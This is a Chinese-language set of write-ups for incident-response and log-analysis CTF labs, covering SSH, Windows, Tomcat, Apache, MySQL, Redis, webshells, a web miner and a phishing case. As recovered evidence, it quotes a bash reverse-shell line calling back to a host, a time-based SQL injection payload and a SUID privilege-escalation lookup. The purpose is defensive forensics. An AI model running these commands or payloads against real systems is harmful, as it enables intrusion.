日志分析

日志分析-ssh日志分析

环境:debian

可以登录 SSH 的账号数量是多少

2

ssh服务配置文件在/etc/ssh/sshd_config所以在这里查询

grep文本搜索工具

-E:使用扩展正则表达式(Extended Regex),可以直接用 + | () 这些符号。

grep -E "AllowUsers|AllowGroups|DenyUsers|DenyGroups" /etc/ssh/sshd_config

image-20251005161219208

SSH日志中登录成功的日志条数是多少(去除自己登陆产生的两次)

103

zgrepgrep的一个升级版本,可以直接查询压缩内容,不必先解压

-h:输出时不显示文件名,只显示匹配行内容。

wc统计字符工具word count

-l只输出行数

zgrep -hE 'sshd\[[0-9]+\]: Accepted (password|publickey|keyboard-interactive/pam|gssapi-with-mic)' /var/log/auth.log* | wc -l

↑面向debian的万能查询语句

SSH日志中登录成功次数最多的用户的用户名是什么

toor

awkLinux/Unix 下一个非常强大的文本处理工具,主要用来对行和列进行筛选、切分、计算、统计、格式化输出

zgrep -hE 'sshd\[[0-9]+\]: Accepted' /var/log/auth.log* \
| awk '{for(i=1;i<=NF;i++){if($i=="for"){u=$(i+1);c[u]++}}} END{mx=0;u="";for(k in c){if(c[k]>mx){mx=c[k];u=k}};if(u!="")print u}'

↑更兼容的写法
将u替换成mx可以输出次数

SSH日志中登录失败次数最多的用户以及登录使用的ip是什么(flag:flag{用户名,ip})

root,87.163.111.11

面向ubuntu/debian

zgrep -hE 'sshd\[[0-9]+\]: (Failed password|Invalid user)' /var/log/auth.log* 2>/dev/null \
| awk '{
  user=""; ip="";
  for(i=1;i<=NF;i++){
    if($i=="from" && i<NF){ ip=$(i+1) }
    if($i=="for"  && i<NF){
      if($(i+1)=="invalid" && $(i+2)=="user" && (i+3)<=NF){ user=$(i+3) }
      else { user=$(i+1) }
    }
    if($i=="user" && i>1 && $(i-1)=="Invalid" && i<NF){ user=$(i+1) }  # 处理 "Invalid user xxx from ..."
  }
  if(user!="" && ip!=""){ key=user"@"ip; c[key]++ }
}
END{
  mx=0; best="";
  for(k in c){ if(c[k]>mx){ mx=c[k]; best=k } }
  if(best!=""){ split(best,a,"@"); print a[1], a[2], mx }
}'

日志分析-windows日志分析base

客户机的系统安全日志文件所在的绝对路径是?

flag{C:\Windows\System32\winevt\Logs}

直接打开eventvwr.msc事件管理器,windows日志文件右键安全找到属性即可

恶意用户是利用什么协议发起的登录?

flag{rdp}

windows常见的事件ID类型

4624 登录成功
4625 登录失败,如果有人尝试破解系统密码,可以看到大量连续登录失败信息
4726 删除用户
4722 账号启用
4725 账号禁用
4723 修改密码
4724 重置密码
4634 注销成功
4647 用户启动的注销
4672 管理员登录
4720 创建用户,使用系统漏洞攻击成功后,往往会创建一个用户,方便远程登录
4732 加入安全组,常见于将新用户加入管理员组
4733 移除出安全组
4684 通过登陆界面登陆的
登录类型 说明 典型协议/场景
2 交互式登录(本地键盘或控制台) 本地
3 网络登录(访问共享、SMB等) SMB、HTTP(除明文)
4 批处理(计划任务) 本地/系统
5 服务账号 本地/系统
7 解锁(屏幕锁解锁) 本地
8 网络明文(如HTTP Basic认证) 明文HTTP、Advapi
9 新凭证(RunAs带netonly参数等) 本地与网络混合
10 远程交互登录(RDP等) RDP(远程桌面协议)
11 缓存交互(离线域登录) 本地缓存

发现可疑的登录类型和未知ip

image-20251005170513203

攻击者总共使用了几个账户名尝试登录?

flag{5}

继续分析剩下的失败信息

可以得到正在进行用户名爆破:

admin,XJ,XuanJi,XiaoMa,Administrator

攻击者总共使用了几个账户名尝试登录?

flag{4}

筛选4720

image-20251005171055115

创建了两次hack,所以是4个

日志分析-Tomcat日志分析

Tomcat日志所在的绝对路径是?

C:\server\apache-tomcat-11.0.5\logs

攻击者对某网站进行了口令爆破。请你判断口令成功匹配的请求的响应码是?

302

查看loginCheck.jsp爆破成功后会发返回302状态码

攻击者向admin.jsp的管理员留言板界面发送了恶意JS代码从而构成了存储型XSS。已知攻击者试图盗取管理员cookie,并将其发送至其本地服务器上。请你判断其服务器上用于盗取cookie而监听的端口是?

5000

去日志里找吧

image-20251005202222916

找到攻击者ip 192.168.5.66

按照题目要求前往admin.jsp查看

发现js代码应该是在message.txt中,去看下

image-20251005202520956

可以看到开放了5000端口用来偷cookie

攻击者利用执行系统命令的参数是?

flag{ip}

可以继续看日志文件,找到ip

image-20251005202805413

攻击者通过某种手段遗留了后门文件,请你找到该文件并按需提交其文件中的flag

flag{youmadeit}

可以从日志中找到hello.jsp文件

image-20251005203029780

得到base64,解密即可

应急响应

应急响应之公交车系统应急排查

分析环境内的中间件日志,找到第一个漏洞(黑客获取数据的漏洞),然后通过分析日志、流量,通过脚本解出黑客获取的用户密码数据,提交获取的前两个用户名,提交格式:flag{zhangsan-wangli}

flag{sunyue-chenhao}

按照应急响应思路,正向思维要排查:端口、进程、相关服务日志来确定

也可以使用逆向思维:找到问题点->相关进程->相关路径->命令有无被伪造->排查落地时间->寻找开放服务端口->排查日志有无可疑行为->排查时间段流量(如有)

先看端口

netstat -lntp

image-20251006113938174

开放了SSH、MySQL、WEB

然后查看中间件日志access.log

cat -n access.log

发现日志行数太多,不好分析

awk '{print $6, $7}' access.log

可以再看看是哪个发起的请求

awk '{print $1,$6,$7}' access.log

可以看到大量的base64请求,然后是shell.php文件请求

下载一下流量包和日志

scp -P 2223 root@xxxx:/xxxx ./

然后将流量包放入Zui分析

image-20251006115854153

可以看到服务类协议有FTP和HTTP

count () by id.orig_h,status_code,uri|status_code==200 | sort -r count  
// 可以理解为select id.orig_h,status_code,uri from result1.pcap where status_code==200

可以看到请求了一堆search.php,漏洞位置大体上应该在这里

随便找一条分析下base64内容image-20251006120138275

可以看到是sql注入语句(时间盲注)

编写脚本分析日志提取获取的数据

提示词如下(github copilot + claude4.5):

我现在网站受到了攻击,初步判断受到了SQL注入且为时间盲注,证明如下{access.log}你来分析一下,然后通过响应内容的大小  
帮助我写一个python脚本,首先你需要提取出search.php所有请求,提取出来之后,因为有些特殊字符被url编码了,你需要先进行解码  
然后再对url解码后的内容进行base64解码会得到如下的时间盲注payload  
' AND (SELECT 1649 FROM (SELECT(SLEEP(5)))GcaG) AND 'EADg'='EADg  
你需要依次进行提取出acccess.log中延时成功的请求,然后给我将攻击者获取成功的数据库、表、字段、数据依次转换给我  
你需要观察哪些响应延时成功了,然后再写脚本,记住请求顺序不能乱,最终输出结果以形似与sqlmap注入完毕后的表格样式给到我
黑客通过获取的用户名密码,利用密码复用技术,爆破了FTP服务,分析流量以后找到开放的FTP端口,并找到黑客登录成功后获取的私密文件,提交其文件中内容,提交格式:flag{xxx}

flag{INTERNAL_FTP_ADMIN_PASSWORD=FtpP@ssw0rd_For_Admin_Backup_2025}

因为ftp端口变了,所以默认分析成了tcp

筛选tcp端口21221,筛选ftp内容如successfully

tcp.port==2121&&tcp contains "successfully"

可以看到尝试下载sensitive_credentials.txt

image-20251006152135879

可以得到内容

image-20251006152444396

可恶的黑客找到了任意文件上传点,你需要分析日志和流量以及web开放的程序找到黑客上传的文件,提交木马使用的密码,提交格式:flag{password}

flag{woaiwojia}

回到web端口8090

可以看到还有一个shell1.php一直在被访问

看下流量内容

http.request.method==POST

可以看到木马代码

image-20251006152912131

明显的看到这个密码是woaiwojia,既然有密码还有key,这就是默认的哥斯拉木马了

看一下shell1.php的内容

image-20251006153026021

就是这个木马,没问题

删除黑客上传的木马并在/var/flag/1/flag查看flag值进行提交

flag{eb9785a18f0e69b935f22cea5b54bf19}

分析流量,黑客植入了一个web挖矿木马,这个木马现实情况下会在用户访问后消耗用户的资源进行挖矿(本环境已做无害化处理),提交黑客上传这个文件时的初始名称,提交格式:flag{xxx.xxx}

flag{map.php}

重点分析shell1.php相关的流量

http.request.uri=="/uploads/shell1.php"

哥斯拉的第二强特征,看到图中初始后会进行GET请求,此处就是获取会话session的过程,以便于后续通信

image-20251006153747503

使用CTF-NETA解密哥斯拉流量

image-20251006154651682

可得知是map.php

分析流量并上机排查,黑客植入的网页挖矿木马所使用的矿池地址是什么,提交矿池地址(排查完毕后可以尝试删除它)提交格式:flag{xxxxxxx.xxxx.xxx:xxxx}

flag{gulf.moneroocean.stream:10128}

因为替换了index.php所以首先看看这个

可以发现底下有一段混淆代码

image-20251006154910792

逆向它,可以得到

gulf.moneroocean.stream:10128

清除掉混淆的web挖矿代码后在/var/flag/2/flag查看flag值并提交

flag{476652839e38111f8bad544a2ff1ac19}

直接删除即可,然后提交flag

第一章 应急响应- Linux入侵排查

web目录存在木马,请找到木马的密码提交

flag{1}

image-20251006162440748

服务器疑似存在不死马,请找到不死马的密码提交

flag{hello}

看下前面发现的.shell.php有没有持久化

image-20251006162622559

那说明这个就是持久码,解md5提交即可

5d41402abc4b2a76b9719d911017c592
hello
不死马是通过哪个文件生成的,请提交文件名

flag{index.php}

上面已经知道了是index.php

黑客留下了木马文件,请找出黑客的服务器ip提交

flag{10.11.55.21}

发现一个shell(1).elf

云沙箱分析一下

image-20251006163322976

10.11.55.21

黑客留下了木马文件,请找出黑客服务器开启的监端口提交

flag{3333}

image-20251006163432732

第一章 应急响应-webshell查杀

黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}

flag{027ccd04-5065-48b6-a32d-77c704a5e26d}

使用d盾扫描

image-20251006164853048

查看下gz.php后门,得到flag

黑客使用的什么工具的shell github地址的md5 flag{md5}

flag{39392de3218c333f794befef07ac9257}

看这个md5,直接判断为哥斯拉

image-20251006165059692

黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx

flag{39392de3218c333f794befef07ac9257}

/var/www/html/include/Db/.Mysqli.php

黑客免杀马完整路径 md5 flag{md5}

flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de}

做了处理的只有top.php

/var/www/html/wap/top.php

第一章 应急响应-Linux日志分析

日志列表

日志文件 说明
/var/log/cron 记录了系统定时任务相关的日志
/var/log/cups 记录打印信息的日志
/var/log/dmesg 记录了系统在开机时内核自检的信息,也可以使用dmesg命令直接查看内核自检信息
/var/log/mailog 记录邮件信息
/var/log/message 记录系统重要信息的日志。这个日志文件中会记录Linux系统的绝大多数重要信息,如果系统出现问题时,首先要检查的就应该是这个日志文件
/var/log/btmp 记录错误登录日志,这个文件是二进制文件,不能直接vi查看,而要使用lastb命令查看
/var/log/lastlog 记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接vi,而要使用lastlog命令查看
/var/log/wtmp 永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件,不能直接vi,而需要使用last命令来查看
/var/log/utmp 记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只记录当前登录用户的信息。同样这个文件不能直接vi,而要使用w,who,users等命令来查询
/var/log/secure 记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中
/var/log/auth.log 注明:这个有的Linux系统有,有的Linux系统没有,一般都是/var/log/secure文件来记录居多
有多少IP在爆破主机ssh的root帐号,如果有多个使用”,”分割

flag{192.168.200.2,192.168.200.31,192.168.200.32}

直接分析auth.log.1

cat /var/log/auth.log.1 | grep -a "Failed password for root" | awk '{print $11}' | sort -n | uniq -c
  • sort -n是将ip进行排序,-n其实你加不加无所谓,反正你调试对了就行,我这个就是加-n就能从小到大排序
  • uniq -c就是去重且打印重复次数

image-20251006170711028

ssh爆破成功登陆的IP是多少,如果有多个使用”,”分割

flag{192.168.200.2}

cat /var/log/auth.log.1 | grep -a "Accept" | awk '{print $11}' | 
sort -n | uniq -c

image-20251006170840555

爆破用户名字典是什么?如果有多个使用”,”分割

flag{user,hello,root,test3,test2,test1}

cat /var/log/auth.log.1 | grep -a "Failed password"

然后有很多重复用户名,筛选一下

cat /var/log/auth.log.1 | grep -a "Failed password" |  | awk '{print $11}' | uniq -c | sort -n

image-20251006171140388

然后除去from再加上root

登陆成功的IP共爆破了多少次

flag{4}

黑客登陆主机后新建了一个后门用户,用户名是多少

flag{test2}

cat /var/log/auth.log.1 | grep -a "new user"

image-20251006172004990

第一章日志分析-apache日志分析

Apache服务器主要生成两种类型的日志文件:访问日志(access.log)与错误日志(error.log):

访问日志(access.log)记录了所有对Web服务器的请求,包括客户端IP地址、请求时间、请求方式、请求资源、响应状态码、数据传输量等。
错误日志(error.log)记录了服务器在运行过程中遇到的错误和警告信息,包括启动和停止时的信息
同时,题目环境是Apache+Linux ,这样的环境下日志路径一般是以下三种:

  1. /var/log/httpd/

  2. /var/log/apache/

  3. /var/log/apache2/

本环境是第三种情况。且log.1文件里有我们需要的信息

grep -a: 强制把文件当作文本文件处理,即使文件是二进制的(比如可执行文件、日志中混有二进制数据)

提交当天访问次数最多的IP,即黑客IP

flag{192.168.200.2}

直接查询

cat /var/log/apache2/access.log.1 | awk '{print $1}' |sort|uniq -c

image-20251006180044637

6555 192.168.200.2

黑客使用的浏览器指纹是什么,提交指纹的md5

flag{2d6330f380f44ac20f3a02eed0958f66}

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36求md5即可

查看包含index.php页面被访问的次数,提交次数

flag{27}

grep -a "/index.php" access.log.1 | awk '{print $1
}' | sort | uniq -c

27 192.168.200.2

查看黑客IP访问了多少次,提交次数

flag{6555}

查看2023年8月03日8时这一个小时内有多少IP访问,提交次数

flag{5}

grep -a "03/Aug/2023:08" access.log.1 | awk '{prin
t $1}' | sort | uniq -c

第一章 日志分析-mysql应急响应

黑客第一次写入的shell flag{关键字符串}

flag{ccfda79e-7aa1-4275-bc26-a6189eb9a20b}

在mysql日志文件下看到了error.log

image-20251006202447794

发现写入操作,mysql有权限写入的地方不多,于是到/var/www/html/下看看

ls -lat

image-20251006203323346

sh.phpadminer.php是新创建的,看下内容

image-20251006203436987

黑客反弹shell的ip flag{ip}

flag{192.168.100.13}

接着看下adminer.php

image-20251006203658513

确认是一个后门程序,看下apache2/access.log

image-20251006204025819

找一下这个1.sh文件

image-20251006204119412

查看内容

bash -i >&/dev/tcp/192.168.100.13/777 0>&1
黑客提权文件的完整路径 md5 flag{md5} 注 /xxx/xxx/xxx/xxx/xxx.xx

flag{b1818bde4e310f3d23f1005185b973e7}

查找mysql的plugin目录发现了udf.so

/usr/lib/mysql/plugin/udf.so

黑客获取的权限 flag{whoami后的值}

flag{mysql}

image-20251006204659547

直接连接数据库看看

image-20251006204750645

mysql

第二章 日志分析-redis应急响应

redis日志: /var/log/redis.log

通过本地 PC SSH到服务器并且分析黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交;

flag{192.168.100.20}

进行了主从复制操作

image-20251006172939672

通过本地 PC SSH到服务器并且分析黑客第一次上传的恶意文件,将黑客上传的恶意文件里面的 FLAG提交;

flag{XJ_78f012d7-42fc-49a8-8a8c-e74c87ea109b}

image-20251006173103569

可以发现上传了exp.so文件

下载下来分析一下

先直接strings看下

image-20251006173353877

通过本地 PC SSH到服务器并且分析黑客反弹 shell 的IP 为多少,将反弹 shell 的IP 作为 FLAG 提交;

flag{192.168.100.13}

继续分析log文件

image-20251006173624513

发现192.168.100.13这个未知IP

检查计划任务crontab -l后发现一致

通过本地 PC SSH到服务器并且溯源分析黑客的用户名,并且找到黑客使用的工具里的关键字符串(flag{黑客的用户-关键字符串} 注关键字符串 xxx-xxx-xxx)。将用户名和关键字符串作为 FLAG提交

flag{xj-test-user-wow-you-find-flag}

查看ssh密钥.ssh/authorized_keys

image-20251006173834197

发现xj-test-user

搜索发现github用户,查看仓库没有找到flag

在仓库历史记录中tye下找到flag

image-20251006174057998

通过本地 PC SSH到服务器并且分析黑客篡改的命令,将黑客篡改的命令里面的关键字符串作为 FLAG 提交;

flag{c195i2923381905517d818e313792d196}

查看最近变动的命令

ls -alt /bin/

发现ps大小和时间很可疑,读取发现flag

image-20251006174537061

第三章 权限维持-linux权限维持-隐藏

黑客隐藏的隐藏的文件 完整路径md5

flag{109ccb5768c70638e24fb46ee7957e37}

查看.viminfo文件

image-20251006211231295

发现libprocesshider是一个Linux 持久性访问工具,1.py是生成的文件

所以这个1.py就是隐藏文件

黑客隐藏的文件反弹shell的ip+端口 {ip:port}

flag{114.114.114.121:9999}

查看1.py发现ip+端口

image-20251006211624162

黑客提权所用的命令 完整路径的md5 flag{md5}

flag{7fd5884f493f4aaf96abee286ee04120}

查找系统中所有具有 SUID 权限位(Set User ID) 的可执行文件

find / -perm -u=s -type f 2>/dev/null

前往gtfobins查找

image-20251006212144216

所以使用find提权

黑客尝试注入恶意代码的工具完整路径md5

flag{087c267368ece4fcf422ff733b51aed9}

查找所有隐藏文件,/sys可以基本不看

find / -name '.*'

image-20251006213140813

发现可疑目录/opt/.cymothoa-1-beta

搜了一下是一个kali的tool,是后门程序

/opt/.cymothoa-1-beta/cymothoa

使用命令运行 ./x.xx 执行该文件 将查询的 Exec****** 值 作为flag提交 flag{/xxx/xxx/xxx}

flag{/usr/bin/python3.4}

运行1.py

image-20251006214124352

查看文件内部后发现默认不是/usr/bin/python

image-20251006214259561

/usr/bin/python3.4

第五章 Windows 实战-evtx 文件分析

将黑客成功登录系统所使用的IP地址作为Flag值提交

flag{192.168.36.133}

筛选一下事件 ID 4624

黑客成功登录系统后修改了登录用户的用户名,将修改后的用户名作为Flag值提交

flag{Adnimistartro}

筛选一下事件 ID 4738

黑客成功登录系统后成功访问了一个关键位置的文件,将该文件名称(文件名称不包含后缀)作为Flag值提交

flag{SCHEMA}

筛选一下事件 ID4663

黑客成功登录系统后重启过几次数据库服务,将最后一次重启数据库服务后数据库服务的进程ID号作为Flag值提交

flag{8820}

查找即可,我电脑一开始缺mysql没法解析

黑客成功登录系统后修改了登录用户的用户名并对系统执行了多次重启操作,将黑客使用修改后的用户重启系统的次数作为Flag值提交

flag{3}

查看事件ID 1074

第七章 常见攻击事件分析–钓鱼邮件

请分析获取黑客发送钓鱼邮件时使用的IP,flag格式: flag{11.22.33.44}、

flag{121.204.224.15}

直接查看邮件文件

image-20251007163019201

请分析获取黑客钓鱼邮件中使用的木马程序的控制端IP,flag格式:flag{11.22.33.44}

flag{107.16.111.57}

直接用沙箱看即可

黑客在被控服务器上创建了webshell,请分析获取webshell的文件名,请使用完整文件格式,flag格式:flag{/var/www/html/shell.php}

flag{/var/www/html/admin/ebak/ReData.php}

直接扫描即可

image-20251007164347526

黑客在被控服务器上创建了内网代理隐蔽通信隧道,请分析获取该隧道程序的文件名,请使用完整文件路径,flag格式:flag{/opt/apache2/shell}

flag{/var/tmp/proc/mysql}

一共就两个文件,那我们分析下

image-20251007164624624

显然是另一个文件

第八章 内存马分析-java03-fastjson